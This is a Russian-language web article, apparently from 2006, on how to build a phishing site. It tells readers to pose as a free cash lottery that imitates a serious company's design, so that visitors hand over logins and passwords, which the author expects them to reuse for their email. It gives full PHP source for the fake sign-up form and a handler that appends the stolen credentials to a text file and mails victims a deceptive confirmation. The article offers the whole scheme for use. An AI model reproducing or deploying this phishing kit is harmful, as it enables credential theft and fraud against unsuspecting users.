Password
    
 К титульной странице  |  Форум  |  О проекте  |  Поиск товаров  |  Сделать стартовой  |  Добавить в Избранное   
Авторизация
Забыли пароль?
Регистрация 
 
Программирование
Безопасность
Демосцена
Игры
WEB-мастерская
Программное обеспечение
Аппаратное обеспечение

Webshop Search

Последние материалы
  The Chronicles of Riddick: Escape from Butcher bay

  Что такое хорошо и что такое плохо, или FAQ по LCD-мониторам

  Организация удаленного доступа

  Инсталляция программного обеспечения используя GPO

  Smarty в веб-разработке

  BioShock или кафе разбитых надежд...



Последние новости
  Конференция Разработчиков Видеоигр, 1979

  Более шустрый и динамичный Mail.lv

  Интернет магазин даром

  Price-Less.eu совсем скоро будет искать на латышском

  Запущена первая публичная бета версия поисковой системы товаров Price-Less.eu

  В Google создали инструмент для борьбы с детской порнографией



Charitable advertising
Њл ­г¦¤ Ґ¬бп ў ў иҐ© Ї®¬®йЁ!



Ziedot.lv

Penn State Child Life Program



Безопасность --> Защита и нападение
Делаем сайт - ловушку
  
Автор: 1dt.w0lf
Источник:RusH security team
Опубликовано: [2006-02-14 21:47]
После моих статей про взлом почтовых ящиков с использованием социальной инженерии я получил много отзывов и просьб продолжать данную тему. Это говорит о том, что тема социальной инженерии весьма популярна и интересна для многих людей. Что-ж продолжая эту тему я и написал данную статью... Речь в ней пойдет о том, как сделать фейковый сайт и с его помощью получать пароли от почты, аськи, сайтов и прочее....

Итак нам необходимо создать сайт на котором пользователь должен регистрироваться, указывая свой логин, пароль, адрес e-mail, адрес сайта, аську и т.п. С моей точки зрения лучшим решением будет проведение электронной лотереи с ценными денежными призами. Падкие до халявы пользователи толпами побегут на ваш сайт, оставляя в логах заветные логины и пароли. Итак, всё будет выглядеть так: пользователь попав на сайт видит инфу о проведении бесплатной электронной лотереи... всё что нужно для участия в лотерее - это придумать себе логин и пароль, указать свой почтовый адрес и адрес сайта (если есть). В большинстве случаев придуманый пароль к лотерее совпадет с паролем электронной почты 8). Само собой, что никакой лотереи проводится не будет... 8(

Приступаем к сайту. Первое и самое важное... необходимо придумать и реализовать красочный дизайн максимально похожий на дизайн серьезных контор. Желательно также прикупить хостинг с доменом первого уровня... либо бесплатный хостинг без рекламы. Наш хостинг также должен поддерживать php, т.к. скрипты для анкетирования будут писатся именно на нём. Значит мы прикупили хостинг, придумали дизайн и залили сайт... гуд... приступаем к скриптам. Разместите ссылку на скрипт анкетирования anketa.php

     =================== anketa.php =====================

     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//ru">
     <HTML>
     <HEAD>
     <TITLE> Анкета! </TITLE>
<meta http-equiv="content-type" content="text/html; charset=windows-1251"> </HEAD> <BODY BGCOLOR="#738278" text="#000000"> <center> <TABLE border=0 cellPadding=0 cellSpacing=0 width=564> <TR> <TD bgColor=black vAlign=center> <center> <FONT color=#ffffff face="Arial, Helvetica" size=3><B>Анкета.</B></FONT> </center> </TD> </TR> <TR> <td> # создаем и выводим форму анкетирования <form action="go_anketa.php" method="post"> <table align="center" width="100%"> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Ф. И. О. :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserName" size=28 value="<? print $UserName ?>"> <font color=red>*</font></td> </tr> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Ваш Email :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserEmail" size=28 value="<? print $UserEmail ?>"> <font color=red>*</font></td> </tr> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Город :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserAdress" size=28 value="<? print $UserAdress ?>"> <font color=red>*</font></td> </tr> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Ваш пароль :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserPassword" size=28 value="<? print $UserPassword ?>"> <font color=red>*</font></td> </tr> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Образование :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserObrazovanie" size=28 value="<? print $UserObrazovanie ?>"> <font color=red>*</font></td> </tr> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Ваша специальность :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserSpez" size=28 value="<? print $UserSpez ?>"> <font color=red>*</font></td> </tr> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Ваш сайт :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserSite" size=28 value="<? print $UserSite ?>"> <font color=red>*</font></td> </tr> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Ваш стаж работы в интернет :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserStag" size=28 value="<? print $UserStag ?>"></td> </tr> <tr> <td align=right><font face="Verdana,Arial" size="1"><B>Другие навыки :</td> <td><font face="Verdana,Arial" size="1"> <input name="UserNaviki" size=28 value="<? print $UserNaviki ?>"></td> </tr> <tr> <td colspan=2><font face="Verdana,Arial" size="1"><B>Комментарии : <BR><textarea name="UserComments" cols=50 rows=8 wrap=soft value="<? print $UserComments ?>"></textarea></td> </tr> <tr> <td></td> <td><font face="Verdana,Arial" size="1"> <input type="submit" value="Отправить"></td> </tr> </table> </form> </TD> </TR> </TABLE> # копирайты... можно и убрать <table width="100%" cellspacing=0 cellpadding=0 valign=center border=0> <tr><td><center><a href=http://rushteam.h1.ru><font color=#ffffff size=2> Copyright © 2002 Super Lottery.</font></a><font face="Verdana" size="1"></font></td></tr></table> </BODY> </HTML>

Ну это просто... хех теперь надо обработать полученные результаты...

     =================== go_anketa.php =====================

     <?
     # Название сайта. Используется в письме которое 
     #  отсылается пользователю после регистрации.
     $SiteName = "Lottery site";
     # Мыло админа
     $AdminEmail = "SupaHacka@lottery.ru";
     # Сабж письма
     $ThankYouMessage = "Ваша анкета получена.";
     # урл... замените на свой
     $SiteHttp = "http://rushteam.h1.ru";
     # Подпись в письме
     $AdminName = "Lottery Admin";
     # формируем сообщения выводящиеся при незаполненных полях
     $no_name="<b><font color=#ffff80>Как же к Вам обращаться, 
     Ваше имя просто необходимо!</b></font>";
     $no_email="<b><font color=#ffff80>Вы указали неверный E-mail адрес!</b></font>";
     $no_adress="<b><font color=#ffff80>Вы забыли указать свой город.</b></font>";
     $no_password="<b><font color=#ffff80>Укажите свой пароль.</b></font>";
     $no_obrazovanie="<b><font color=#ffff80>Какое у Вас образование?</b></font>";
     $no_spez="<b><font color=#ffff80>Укажите свою рабочую специальность.</b></font>";
     $no_site="<b><font color=#ffff80>Укажите ваш сайт.</b></font>";
     $no_message="<b><font color=#ffff80>Вы забыли написать сообщение.</b></font>";

     ?>


     <?
     # проверка на заполнение полей

     # имени пользователя
     $result=1;
     if (!$UserName){
     $result=0;
     $error1="<li>$no_name</li>";
     }

     # проверка мыла на правильность ввода
     if (!eregi("^.+@.+\\..+$",$UserEmail)){
     $error2="<li>$no_email</li>";
     $result=0;
     }
     if ($UserAdress==""){
     $result=0;
     $error3="<li>$no_adress</li>";
     }
     if ($UserPassword==""){
     $result=0;
     $error4="<li>$no_vozrast</li>";
     }
     if ($UserObrazovanie==""){
     $result=0;
     $error5="<li>$no_obrazovanie</li>";
     }
     if ($UserSpez==""){
     $result=0;
     $error6="<li>$no_spez</li>";
     }
     if ($UserSite==""){
     $result=0;
     $error7="<li>$no_rabota</li>";
     }

     # если всё правильно формируем письмо на ящик 
     # зарегистрировавшегося пользователя
     if ($result==1){
     $UserMessage = "Здравствуйте $UserName<br>
     Ваша анкета нами получена и принята к рассмотрению.<br>";
     $UserMessage .= "В самое близжайщее время мы сообщим 
     Вам о результатах анкетирования.<br>";
     $UserMessage .= "Администратор проекта: 
     $AdminName <a href=\"mailto:$AdminEmail\">$AdminEmail</a>";
     $from="$SiteName <$AdminEmail>";
     $headers="Content-Type: text/html; charset=windows-1251\n";
     $headers.="From: $from\nX-Mailer:";
     # отсылаем письмо
     mail($UserEmail, "$ThankYouMessage", $UserMessage, $headers);

     # формируем данные для себя
     $AdminMessage = "Данные отправлены от: $UserName\n";
     $AdminMessage .= "Email: $UserEmail\n";
     $AdminMessage .= "Город: $UserAdress\n";
     $AdminMessage .= "Пароль: $UserPassword\n";
     $AdminMessage .= "Образование: $UserObrazovanie\n";
     $AdminMessage .= "Специальность: $UserSpez\n";
     $AdminMessage .= "Сайт: $UserSite\n";
     $AdminMessage .= "Стаж в инете: $UserStag\n";
     $AdminMessage .= "Другие навыки: $UserNaviki\n";
     $AdminMessage .= "Комментарии: \n";
     $AdminMessage .= "$UserComments \n";
     $AdminMessage .= "$HTTP_USER_AGENT \n";
     $AdminMessage .= "\n ================================== \n";

     # anketa.txt - файл в котором будут хранится результаты
     $filename='anketa.txt';
     # открываем файл на запись в конец
     $r=fopen($filename,'a');
     # записываем
     fputs($r,$AdminMessage);
     fclose($r);

     echo ("

     <HTML>
     <HEAD>
     <TITLE> Анкета! </TITLE>
     <META NAME=\"Generator\" CONTENT=\\">
     <META NAME=\"Author\" CONTENT=\\">
     <META NAME=\"Keywords\" CONTENT=\"Анкета!\">
     <meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">
     </HEAD>

     <BODY BGCOLOR=#738278 text=#000000>
     <center>
     <table  width=100%  bgcolor=black  cellspacing=0 cellpadding=0 valign=center border=0>
     <tr><td><center><font
     face=Verdana size=3 color=white><B>Поздравляем $UserName!</B>
     </font></td></tr></table>

     <BR><BR>
     <CENTER>
     <b>Информация прошла успешно</b><BR><BR>

     </CENTER>

     <table  width=100%  cellspacing=0  cellpadding=0  valign=center border=0><tr><td>
     <center><font face=Verdana
     size=2><center><a href=anketa.php>Обратно</a></center></font>
     </td></tr></table>
     <br>
     <br>

     ");
     }

     # если не все параметры были введены... формируем новую форму с указанием ошибок
     if ($result!==1){
     echo ("
     <TITLE> Неправильные параметры! </TITLE>
     <META NAME=\"Generator\" CONTENT=\"www.carline.ru\">
     <META NAME=\"Author\" CONTENT=\"Dmitriy Master\">
     <META NAME=\"Keywords\" CONTENT=\"Анкета!\">
     <meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">
     </HEAD>

     <BODY BGCOLOR=#738278 text=#000000>
     <center>
     <table  width=100%  bgcolor=black  cellspacing=0 cellpadding=0 valign=center border=0>
     <tr><td><center><font
     face=Verdana size=3 color=white><B>Неправильные параметры данных!
     </B></font></td></tr></table>

     <BR>
     <CENTER>
     <font  color=#fffff0 size=4>$UserName</font><br><b>
     <font color=#fffff0> Пожалуйста повнимательнее заполните
     анкету!</b></font><BR><BR>

     </CENTER>

     <center>
     <TABLE border=0 cellPadding=0 cellSpacing=0 width=564>
     <TR>
     <TD>$error1$error2$error3$error4$error5$error6$error7<br><br></TD>
     </TR>

     <TR>
     <TD      bgColor=black      vAlign=center><center>
     <FONT     color=#ffffff     face=\"Arial,     Helvetica\"
     size=3><B>Анкета.</B></FONT></center></TD>
     </TR>

     <TR>
     <td>

     <form action=mail_anketa.php method=post>
     <table align=center width=100%>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1><B>Ф. И. О. :</td>
     <td><font   face=\"Verdana,Arial\"   size=1>
     <input   name=UserName   size=28   value=\"$UserName\">   <font
     color=red>*</font></td>
     </tr>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1><B>Ваш Email :</td>
     <td><font   face=\"Verdana,Arial\"   size=1>
     <input   name=UserEmail   size=28  value=\"$UserEmail\">  <font
     color=red>*</font></td>
     </tr>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1><B>Город :</td>
     <td><font   face=\"Verdana,Arial\"   size=1>
     <input  name=UserAdress  size=28  value=\"$UserAdress\">  <font
     color=red>*</font></td>
     </tr>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1><B>Ваш пароль :</td>
     <td><font  face=\"Verdana,Arial\"  size=1>
     <input  name=UserPassword  size=28 value=\"$UserPassword\"> <font
     color=red>*</font></td>
     </tr>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1><B>Образование :</td>
     <td><font  face=\"Verdana,Arial\"  size=1>
     <input  name=UserObrazovanie  size=28 value=\"$UserObrazovanie\">
     <font color=red>*</font></td>
     </tr>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1><B>Ваша специальность :</td>
     <td><font   face=\"Verdana,Arial\"   size=1>
     <input   name=UserSpez   size=28   value=\"$UserSpez\">   <font
     color=red>*</font></td>
     </tr>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1><B>Ваш сайт :</td>
     <td><font   face=\"Verdana,Arial\"   size=1>
     <input   name=UserSite   size=28   value=\"$UserSite\">   <font
     color=red>*</font></td>
     </tr>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1>
     <B>Ваш стаж работы в интернет:</td>
     <td><font face=\"Verdana,Arial\" size=1>
     <input name=UserStag size=28 value=\"$UserStag\"></td>
     </tr>
     <tr>
     <td align=right><font face=\"Verdana,Arial\" size=1><B>Другие навыки :</td>
     <td><font face=\"Verdana,Arial\" size=1>
     <input name=UserNaviki size=28 value=\"$UserNaviki\"></td>
     </tr>
     <tr>
     <td  colspan=2><font  face=\"Verdana,Arial\" size=1><B>Комментарии :
     <BR><textarea name=UserComments cols=50
     rows=8 wrap=soft >$UserComments</textarea></td>
     </tr>
     <tr>
     <td></td>
     <td><font face=\"Verdana,Arial\" size=1>
     <input type=submit value=\"Отправить\"></td>
     </tr>
     </table>
     </form>
     </TD>
     </TR>
     </TABLE>
     <p><br>

     ");
     }
     ?>


     </BODY>
     </HTML>

Теперь заливаем оба файла (anketa.php и go_anketa.php) на сайт и ждём результатов.

З.Ы. Спасибо dinggo за идею... 8)





Перейти к рубрике --> Защита и нападение

Наши друзья
Juridiskie pakalpojumi  
IT Works
Проект Самоучка Codenet - всё для программиста
Скачать программы, игры Бесплатные электронные книги
• Hi-tech NEWS • InCube e-mag
ZONEHOSTER.com Программисты, Вам сюда!
КомментарииВсего:1
deimos
  nosfiratys@mail.ru
[2006-10-01 13:28:09]результат будет прост -- ваш сайт взломают через XSS уязвимость. Всегда внимательно читайте чужие исходники =)


Только зарегистрированные пользователи могут оставлять здесь комментарии. Зарегистрироваться можно здесь. Если вы уже зарегистировались ранее, то можете войти в систему здесь.


© Mihail Chernov (MiHack) Обмен ссылками
Видеотехника
  *Видеокамеры
  *DVD проигрыватели
  *Телевизоры и аксессуары
Телефония и cвязь
  *Радиотелефоны
  *Портативные радиостанции
  *Смартфоны
  *Мобильные телефоны
Программное обеспечение
  *Компьютерные игры
  *Прикладное ПО
  *Электронные издания
Автопринадлежности
  *Автомагнитолы
  *Автозапчасти
Одежда и обувь
  *Женская
  *Мужская
Бытовая техника
  *Холодильники
  *Стиральные машины
  *Микроволновые печи
  *Посудомоечные машины
  *Пылесосы
  *Кондиционеры
  *Электрические и газовые плиты
  *Водонагреватели и бойлеры
  *Прочее
Спорт и туризм
  *Тренажёры
  *Спорт инвентарь
Компьютеры
  *Офисная техника
  *Мониторы
  *Персональные компьютеры
  *Ноутбуки
  *Серверы
  *Сетевое оборудование
  *Игровые консоли
  *Аксессуары
Фототехника
  *Фотоаппараты
  *Аксессуары
Детские товары
  *Игрушки
  *Детские коляски
  *Детские автокресла
  *Всё для детской комнаты
Аудиотехника
  *MP3 плееры
  *Музыкальные центры
  *CD-проигрыватели
  *Наушники и микрофоны
  *Радио тюнеры
  *Усилители
  *Аккустические системы
  *Запись звука
Сантехника и отопление
  *Ванна и туалет
  *Отопление
  *Котлы
  *Насосы
Для дома и сада
  *Мебель
  *Для сада и огорода
  *Для строительства и хозяйства
Красота и здоровье
  *Косметические средства
  *Маникюр
  *Массажёры
  *Эпиляторы
-->